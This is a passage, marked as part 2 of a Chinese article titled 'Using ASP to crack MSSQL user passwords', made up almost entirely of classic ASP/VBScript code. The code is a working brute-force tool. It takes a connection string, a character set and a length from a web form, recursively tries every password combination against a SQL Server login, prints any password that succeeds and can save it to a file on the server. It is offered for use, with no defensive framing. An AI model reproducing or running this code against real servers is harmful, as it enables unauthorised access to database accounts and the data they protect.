用ASP实现MSSQL用户密码破解(2)


</form> 
<% 
Else 
 timer1 = timer 
 Server.ScriptTimeout = 7776000 
 ConnStr = Request.Form("Conn") 
 Char = request.Form("char") 
 LenChar = Len(Char) 
 ReDim password(LenChar) 
 For i = 1 to LenChar 
  password(i) = Mid(Char, i, 1) 
 Next 
 length = CInt(request.Form("len")) 
 Call LAKE("") 
 response.Write "Done!<br>Process " & tTime & " s" 
 If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime) 
End If 

Sub LAKE(str) 
 If Len(str) >= length Then Exit Sub 
 For j = 1 to LenChar 
  pass = str & password(j) 
  If Len(pass) = length Then Call Crack(pass) 
  Call LAKE(pass) 
 Next 
End Sub 

Sub Crack(str) 
 On Error Resume Next 
 Set conn = Server.CreateObject("ADODB.connection") 
 conn.open Replace(ConnStr,"{PASS}",str) 
 If Err Then 
  If Err.Number <> -2147217843 Then 
   response.Write(Err.Description & "<BR>") 
   response.End() 
  End If 
 Else 
  response.Write("I Get it ! Password is <font color=red>" & str & "</font><BR>Process " & tTime & " s") 
  If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime) 
  response.End() 
 End If 
End Sub 

Function tTime() 
 timer2 = timer 
 thetime=cstr(int(timer2-timer1)) 
 tTime = thetime 
End Function 

Sub CreateResult(t) 
 Set fs = CreateObject("Scripting.FileSystemObject")  
 Set outfile = fs.CreateTextFile(request.Form("path")) 
 outfile.WriteLine t 
 Set fs = Nothing 
End Sub 
%>